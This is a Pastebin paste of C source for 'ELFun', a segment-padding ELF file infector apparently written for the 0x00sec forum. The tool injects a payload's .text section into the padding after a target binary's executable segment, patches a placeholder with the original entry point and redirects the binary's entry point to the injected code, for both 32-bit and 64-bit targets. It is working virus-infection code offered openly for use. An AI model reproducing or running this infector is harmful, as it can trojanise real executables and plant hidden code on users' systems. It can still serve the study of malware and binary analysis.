Advertisement
Guest User

Untitled

a guest
Jun 14th, 2016
767
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 10.08 KB | None | 0 0
  1. /*
  2.   ELFun
  3.   Copyright (c) 2016 picoFlamingo
  4.  
  5. This program is free software: you can redistribute it and/or modify
  6. it under the terms of the GNU General Public License as published by
  7. the Free Software Foundation, either version 3 of the License, or
  8. (at your option) any later version.
  9.  
  10. This program is distributed in the hope that it will be useful,
  11. but WITHOUT ANY WARRANTY; without even the implied warranty of
  12. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  13. GNU General Public License for more details.
  14.  
  15. You should have received a copy of the GNU General Public License
  16. along with this program.  If not, see <http://www.gnu.org/licenses/>.
  17. */
  18.  
  19. /*************************************************************
  20.   Read the post at 0x00sec.org
  21.   https://0x00sec.org/t/elfun-file-injector/410
  22. **********************************************************************/
  23.  
  24. /* Segment padding infection */
  25. #include <stdio.h>
  26. #include <stdlib.h>
  27. #include <string.h>
  28. #include <stdint.h>
  29.  
  30.  
  31. #include <unistd.h>
  32. #include <fcntl.h>
  33. #include <sys/stat.h>
  34.  
  35. #include <elf.h>
  36. #include <sys/mman.h>
  37.  
  38. /* Helper functions */
  39.  
  40. static int
  41. get_file_size (int fd)
  42. {
  43.   struct stat _info;
  44.  
  45.   fstat (fd, &_info);
  46.  
  47.   return _info.st_size;
  48. }
  49.  
  50. /* Open a file and map it in memory for easy update */
  51. int
  52. elfi_open_and_map (char *fname, void **data, int *len)
  53. {
  54.   int   size;
  55.   int   fd;
  56.  
  57.   if ((fd = open (fname, O_APPEND | O_RDWR, 0)) < 0)
  58.     {
  59.       perror ("open:");
  60.       exit (1);
  61.     }
  62.  
  63.   size = get_file_size (fd);
  64.   if ((*data = mmap (0, size, PROT_READ| PROT_WRITE| PROT_EXEC,
  65.             MAP_SHARED, fd, 0)) == MAP_FAILED)
  66.     {
  67.       perror ("mmap:");
  68.       exit (1);
  69.     }
  70.  
  71.   printf ("+ File mapped (%d bytes ) at %p\n", size, data);
  72.   *len = size;
  73.   return fd;
  74. }
  75.  
  76. int
  77. check_arch_32 ( char *data )
  78. {
  79.     if(data[EI_CLASS] == 1)
  80.         return 1;
  81.     else
  82.         return 0;
  83. }
  84.  
  85. #ifdef DEBUG
  86. /* Debug function to dump registers */
  87. void
  88. elfi_dump_segments (void *d)
  89. {
  90.   Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) d;
  91.   Elf64_Phdr* elf_seg;
  92.   int         n_seg = elf_hdr->e_phnum;
  93.   int         i;
  94.  
  95.   elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_hdr
  96.                 + (unsigned int) elf_hdr->e_phoff);
  97.   for (i = 0; i < n_seg; i++)
  98.     {    
  99.     printf (" [INFO] Segment %d: Type: %8x (%x) Offset: %8x "
  100.         "FSize:%8x MSize:%8x\n",
  101.         i, elf_seg->p_type, elf_seg->p_flags,
  102.         (unsigned int)elf_seg->p_offset,
  103.         (unsigned int)elf_seg->p_filesz,
  104.         (unsigned int)elf_seg->p_memsz);
  105.  
  106.       elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_seg
  107.                 + (unsigned int) elf_hdr->e_phentsize);
  108.     }
  109.  
  110. }
  111. #endif
  112.  
  113.  
  114. Elf64_Phdr*
  115. elfi_find_gap (void *d, int fsize, int *p, int *len)
  116. {
  117.   Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) d;
  118.   Elf64_Phdr* elf_seg, *text_seg;
  119.   int         n_seg = elf_hdr->e_phnum;
  120.   int         i;
  121.   int         text_end, gap=fsize;
  122.  
  123.   elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_hdr
  124.                 + (unsigned int) elf_hdr->e_phoff);
  125.  
  126.   for (i = 0; i < n_seg; i++)
  127.     {
  128.       if (elf_seg->p_type == PT_LOAD && elf_seg->p_flags & 0x011)
  129.     {
  130.       printf ("+ Found .text segment (#%d)\n", i);
  131.       text_seg = elf_seg;
  132.       text_end = elf_seg->p_offset + elf_seg->p_filesz;
  133.     }
  134.       else
  135.     {
  136.       if (elf_seg->p_type == PT_LOAD &&
  137.           (elf_seg->p_offset - text_end) < gap)
  138.         {
  139.           printf ("   * Found LOAD segment (#%d) close to .text (offset: 0x%x)\n",
  140.               i, (unsigned int)elf_seg->p_offset);
  141.           gap = elf_seg->p_offset - text_end;
  142.         }
  143.     }
  144.       elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_seg
  145.                 + (unsigned int) elf_hdr->e_phentsize);
  146.     }
  147.  
  148.   *p = text_end;
  149.   *len = gap;
  150.  
  151.   printf ("+ .text segment gap at offset 0x%x(0x%x bytes available)\n", text_end, gap);
  152.  
  153.   return text_seg;
  154. }
  155.  
  156.  
  157.  
  158. Elf32_Phdr*
  159. elfi_find_gap32 (void *d, int fsize, int *p, int *len)
  160. {
  161.   Elf32_Ehdr* elf_hdr = (Elf32_Ehdr *) d;
  162.   Elf32_Phdr* elf_seg, *text_seg;
  163.   int         n_seg = elf_hdr->e_phnum;
  164.   int         i;
  165.   int         text_end, gap=fsize;
  166.  
  167.   elf_seg = (Elf32_Phdr *) ((unsigned char*) elf_hdr
  168.                 + (unsigned int) elf_hdr->e_phoff);
  169.  
  170.   for (i = 0; i < n_seg; i++)
  171.     {
  172.       if (elf_seg->p_type == PT_LOAD && elf_seg->p_flags & 0x011)
  173.     {
  174.       printf ("+ Found .text segment (#%d)\n", i);
  175.       text_seg = elf_seg;
  176.       text_end = elf_seg->p_offset + elf_seg->p_filesz;
  177.     }
  178.       else
  179.     {
  180.       if (elf_seg->p_type == PT_LOAD &&
  181.           (elf_seg->p_offset - text_end) < gap)
  182.         {
  183.           printf ("   * Found LOAD segment (#%d) close to .text (offset: 0x%x)\n",
  184.               i, (unsigned int)elf_seg->p_offset);
  185.           gap = elf_seg->p_offset - text_end;
  186.         }
  187.     }
  188.       elf_seg = (Elf32_Phdr *) ((unsigned char*) elf_seg
  189.                 + (unsigned int) elf_hdr->e_phentsize);
  190.     }
  191.  
  192.   *p = text_end;
  193.   *len = gap;
  194.  
  195.   printf ("+ .text segment gap at offset 0x%x(0x%x bytes available)\n", text_end, gap);
  196.  
  197.   return text_seg;
  198. }
  199.  
  200.  
  201.  
  202. Elf32_Shdr *
  203. elfi_find_section32 (void *data, char *name)
  204. {
  205.   char        *sname;
  206.   int         i;
  207.   Elf32_Ehdr* elf_hdr = (Elf32_Ehdr *) data;
  208.   Elf32_Shdr *shdr = (Elf32_Shdr *)(data + elf_hdr->e_shoff);
  209.   Elf32_Shdr *sh_strtab = &shdr[elf_hdr->e_shstrndx];
  210.   const char *const sh_strtab_p = data + sh_strtab->sh_offset;
  211.    
  212.   printf ("+ %d section in file. Looking for section '%s'\n",
  213.       elf_hdr->e_shnum, name);
  214.  
  215.  
  216.   for (i = 0; i < elf_hdr->e_shnum; i++)
  217.     {
  218.       sname = (char*) (sh_strtab_p + shdr[i].sh_name);
  219.       if (!strcmp (sname, name))  return &shdr[i];
  220.     }
  221.  
  222.   return NULL;
  223. }
  224.  
  225. Elf64_Shdr *
  226. elfi_find_section (void *data, char *name)
  227. {
  228.   char        *sname;
  229.   int         i;
  230.   Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) data;
  231.   Elf64_Shdr *shdr = (Elf64_Shdr *)(data + elf_hdr->e_shoff);
  232.   Elf64_Shdr *sh_strtab = &shdr[elf_hdr->e_shstrndx];
  233.   const char *const sh_strtab_p = data + sh_strtab->sh_offset;
  234.    
  235.   printf ("+ %d section in file. Looking for section '%s'\n",
  236.       elf_hdr->e_shnum, name);
  237.  
  238.  
  239.   for (i = 0; i < elf_hdr->e_shnum; i++)
  240.     {
  241.       sname = (char*) (sh_strtab_p + shdr[i].sh_name);
  242.       if (!strcmp (sname, name))  return &shdr[i];
  243.     }
  244.  
  245.   return NULL;
  246. }
  247.  
  248. int
  249. elfi_mem_subst (void *m, int len, long pat, long val)
  250. {
  251.   unsigned char *p = (unsigned char*)m;
  252.   long v;
  253.   int i, r;
  254.  
  255.   for (i = 0; i < len; i++)
  256.     {
  257.       v = *((long*)(p+i));
  258.       r = v ^pat;
  259.  
  260.       if (r ==0)
  261.     {
  262.       printf ("+ Pattern %lx found at offset %d -> %lx\n", pat, i, val);
  263.       *((long*)(p+i)) = val;
  264.       return 0;
  265.     }
  266.     }
  267.   return -1;
  268. }
  269.  
  270. int
  271. main (int argc, char *argv[])
  272. {
  273.   void        *d, *d1;
  274.   int         target_fd, payload_fd;
  275.   int         fsize, fsize1;
  276.   Elf64_Ehdr* elf_hdr;
  277.   Elf32_Ehdr* elf_hdr32;
  278.   Elf64_Phdr  *t_text_seg;
  279.   Elf32_Phdr  *t_text_seg32;
  280.   Elf64_Shdr  *p_text_sec;
  281.   Elf32_Shdr  *p_text_sec32;
  282.   Elf64_Addr  base, ep;
  283.   Elf32_Addr  base32, ep32;
  284.   int         p, len;
  285.  
  286.  
  287.   printf ("Segment Padding Infector for 0x00sec\nby pico\n\n");
  288.   if (argc != 3)
  289.     {
  290.       fprintf (stderr, "Usage:\n  %s elf_file payload\n", argv[0]);
  291.       exit (1);
  292.     }
  293.  
  294.   /* Open and map target ELF & Payload */
  295.   target_fd = elfi_open_and_map (argv[1], &d, &fsize);
  296.   payload_fd = elfi_open_and_map (argv[2], &d1, &fsize1);
  297.  
  298.   /* Check architecture of ELF */
  299.   if( check_arch_32(d) ) {
  300.       if( check_arch_32 (d1) )
  301.         goto arch32;
  302.       else {
  303.           printf("Can't inject 64 bit payload in 32 bit binary\n");
  304.           exit(-1);
  305.       }
  306.   }
  307.    
  308.  
  309.   /* Get Application Entry point */
  310.   elf_hdr = (Elf64_Ehdr *) d;
  311.   ep = elf_hdr->e_entry;
  312.   printf ("+ Target Entry point: %p\n", (void*) ep);
  313.  
  314. #ifdef DEBUG  
  315.   elfi_dump_segments (d);
  316. #endif
  317.  
  318.   /* Find executable segment and obtain offset and gap size */
  319.   t_text_seg = elfi_find_gap (d, fsize, &p, &len);
  320.   base = t_text_seg->p_vaddr;
  321.  
  322.   printf ("+ Base Address : 0x%p\n", (void*)base);
  323.  
  324.   /* Process payload */
  325.   p_text_sec = elfi_find_section (d1, ".text");
  326.  
  327.   /* XXX: Looks like we do not really have to patch the segment sizes */
  328.   /*
  329.   t_text_seg->p_filesz += p_text_sec->sh_size;
  330.   t_text_seg->p_memsz += p_text_sec->sh_size;
  331.   */
  332.  
  333.   printf ("+ Payload .text section found at %lx (%lx bytes)\n",
  334.       p_text_sec->sh_offset, p_text_sec->sh_size);
  335.  
  336.   if (p_text_sec->sh_size > len)
  337.     {
  338.       fprintf (stderr, "- Payload to big, cannot infect file.\n");
  339.       exit (1);
  340.     }
  341.   /* Copy payload in the segment padding area */
  342.   memmove (d + p, d1 + p_text_sec->sh_offset, p_text_sec->sh_size);
  343.  
  344.   /* Patch return address */
  345.   elfi_mem_subst (d+p, p_text_sec->sh_size, 0x11111111, (long)ep);
  346.  
  347.   /* Patch entry point */
  348.   elf_hdr->e_entry = (Elf64_Addr) (base + p);
  349.  
  350.   /* Close files and actually update target file */
  351.   close (payload_fd);
  352.   close (target_fd);
  353.  
  354.   return 0;
  355.  
  356. arch32:
  357.   /* Get Application Entry point */
  358.   elf_hdr32 = (Elf32_Ehdr *) d;
  359.   ep32 = elf_hdr32->e_entry;
  360.   printf ("+ Target Entry point: %p\n", ep32);
  361.  
  362. #ifdef DEBUG  
  363.   elfi_dump_segments (d);
  364. #endif
  365.  
  366.   /* Find executable segment and obtain offset and gap size */
  367.   t_text_seg32 = elfi_find_gap32 (d, fsize, &p, &len);
  368.   base32 = t_text_seg32->p_vaddr;
  369.  
  370.   printf ("+ Base Address : 0x%p\n", base32);
  371.  
  372.   /* Process payload */
  373.   p_text_sec32 = elfi_find_section32 (d1, ".text");
  374.  
  375.   /* XXX: Looks like we do not really have to patch the segment sizes */
  376.   /*
  377.   t_text_seg->p_filesz += p_text_sec->sh_size;
  378.   t_text_seg->p_memsz += p_text_sec->sh_size;
  379.   */
  380.  
  381.   printf ("+ Payload .text section found at %x (%x bytes)\n",
  382.       p_text_sec32->sh_offset, p_text_sec32->sh_size);
  383.  
  384.   if (p_text_sec32->sh_size > len)
  385.     {
  386.       fprintf (stderr, "- Payload to big, cannot infect file.\n");
  387.       exit (1);
  388.     }
  389.   /* Copy payload in the segment padding area */
  390.   memmove (d + p, d1 + p_text_sec32->sh_offset, p_text_sec32->sh_size);
  391.  
  392.   /* Patch return address */
  393.   elfi_mem_subst (d+p, p_text_sec32->sh_size, 0x11111111, (long)ep32);
  394.  
  395.   /* Patch entry point */
  396.   elf_hdr32->e_entry = (Elf32_Addr) (base32 + p);
  397.  
  398.   /* Close files and actually update target file */
  399.   close (payload_fd);
  400.   close (target_fd);
  401.  
  402.   return 0;
  403. }
  404.  
  405.  
  406. /*
  407. Compile payload
  408. nasm -f elf64 -o payload.o payload.asm;ld -o payload payload.o
  409. */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement